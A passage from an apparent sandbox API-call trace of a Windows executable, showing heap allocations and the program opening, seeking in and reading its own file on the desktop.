hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetLastError () returned 0x2 [0072.188] GetLastError () returned 0x2 [0072.188] GetLastError () returned 0x2 [0072.188] GetLastError () returned 0x2 [0072.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0072.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0072.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64d8 [0072.189] GetLastError () returned 0x2 [0072.189] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.189] GetFileType (hFile=0x1d4) returned 0x1 [0072.189] GetFileType (hFile=0x1d4) returned 0x1 [0072.189] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0072.189] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.189] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.189] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.189] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.189] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.189] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0072.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0072.189] GetLastError () returned 0x0 [0072.189] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7373856, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x708420 [0072.189] GetCurrentThreadId () returned 0x9b0 [0072.189] GetLastError () returned 0x0 [0072.189] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7010252, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x6af7cc [0072.189] GetCurrentThreadId () returned 0x9b0 [0072.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2913) returned 0x2a85d58 [0072.189] GetLastError () returned 0x0 [0072.190] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a85d6c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2a85d6c*, lpNumberOfBytesRead=0x9ba998*=0x2000, lpOverlapped=0x0) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a88678 [0072.190] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a88678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2a88678*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0072.190] GetCurrentThreadId () returned 0x9b0 [0072.191] GetLastError () returned 0x0 [0072.191] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x6b27cc [0072.191] GetLastError () returned 0x0 [0072.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88678 | out: hHeap=0x2ad0000) returned 1 [0072.191] CloseHandle (hObject=0x1d4) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a88678 [0072.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aa3960 [0072.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2aa7980 [0072.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa3960, Size=0x8015) returned 0x2aaf988 [0072.193] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aaf988, Size=0x10015) returned 0x2ab79a8 [0072.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa7980 | out: hHeap=0x2ad0000) returned 1 [0072.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88678 | out: hHeap=0x2ad0000) returned 1 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab79a8, Size=0x882f) returned 0x2ab79a8 [0072.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x385) returned 0x2a72ea0 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fc8 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fc8, Size=0x20) returned 0x2a1fb78 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a193b8 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a19888 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2a779e8 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0xb8) returned 0x2a779e8 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0xe8) returned 0x2a779e8 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x120) returned 0x2a76e30 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c2) returned 0x2a85d58 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x238) returned 0x2a1dca0 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x307) returned 0x2a86128 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21e) returned 0x2a86438 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x370) returned 0x2a86660 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x1a8) returned 0x2a869d8 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x2a86b88 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x518) returned 0x2a86e00 [0072.194] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a869d8, Size=0x1f8) returned 0x2a87320 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25e) returned 0x2a87520 [0072.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2ad64a8 [0072.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0072.195] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87320, Size=0x250) returned 0x2a87788 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25a) returned 0x2a879e0 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3cf) returned 0x2a87c48 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c2) returned 0x2a88020 [0072.195] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a87788, Size=0x2b4) returned 0x2a884f0 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3fa) returned 0x2a887b0 [0072.195] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a884f0, Size=0x324) returned 0x2a88bb8 [0072.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88bb8 | out: hHeap=0x2ad0000) returned 1 [0072.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab79a8 | out: hHeap=0x2ad0000) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1ca88 [0072.195] GetCurrentThreadId () returned 0x9b0 [0072.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0072.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0072.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0072.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0072.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0072.196] GetCurrentThreadId () returned 0x9b0 [0072.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d850 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a23388 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d850 | out: hHeap=0x2ad0000) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a23990 [0072.197] GetCurrentThreadId () returned 0x9b0 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0072.197] GetCurrentThreadId () returned 0x9b0 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb8) returned 0x2a1dee0 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa4598 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ca88 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1dee0 | out: hHeap=0x2ad0000) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xac) returned 0x2a1dee0 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1cf20 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716e0 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.197] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71660 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0072.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182b0 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d0a8 [0072.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a779e8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fc8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2a71620 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fc8 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d0a8 | out: hHeap=0x2ad0000) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d6c8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d850 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71800 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0072.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a718a0 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71800 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fc8 [0072.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d6c8 | out: hHeap=0x2ad0000) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d0a8 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a75c08 [0072.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18088 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.199] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a71920 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18088 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71920 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d0a8 | out: hHeap=0x2ad0000) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d6c8 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1ca88 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0072.199] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a715c0 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18190 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a715c0 | out: hHeap=0x2ad0000) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181d8 [0072.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d6c8 | out: hHeap=0x2ad0000) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d0a8 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d6c8 [0072.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70780 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a88bb8 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa4598 | out: hHeap=0x2ad0000) returned 1 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72ea0 | out: hHeap=0x2ad0000) returned 1 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a75cd0 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75cd0 | out: hHeap=0x2ad0000) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a75cd0 [0072.200] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75cd0, Size=0x14) returned 0x2a75cd0 [0072.200] GetCurrentThreadId () returned 0x9b0 [0072.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75cd0 | out: hHeap=0x2ad0000) returned 1 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0072.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0072.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetCurrentThreadId () returned 0x9b0 [0072.201] GetLastError () returned 0x0 [0072.201] GetLastError () returned 0x0 [0072.201] GetLastError () returned 0x0 [0072.201] GetLastError () returned 0x0 [0072.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20078 [0072.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0072.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6538 [0072.201] GetLastError () returned 0x0 [0072.201] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.201] GetFileType (hFile=0x1d4) returned 0x1 [0072.201] GetFileType (hFile=0x1d4) returned 0x1 [0072.201] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0072.202] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.202] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.202] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.202] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.202] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.202] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0072.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0072.202] GetLastError () returned 0x0 [0072.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7020746, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x6b20ca [0072.202] GetCurrentThreadId () returned 0x9b0 [0072.202] GetLastError () returned 0x0 [0072.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7373856, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x708420 [0072.202] GetCurrentThreadId () returned 0x9b0 [0072.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc21) returned 0x2a8a3c0 [0072.202] GetLastError () returned 0x0 [0072.202] RtlAllocateHeap (HeapHandle=0x2ad0000, 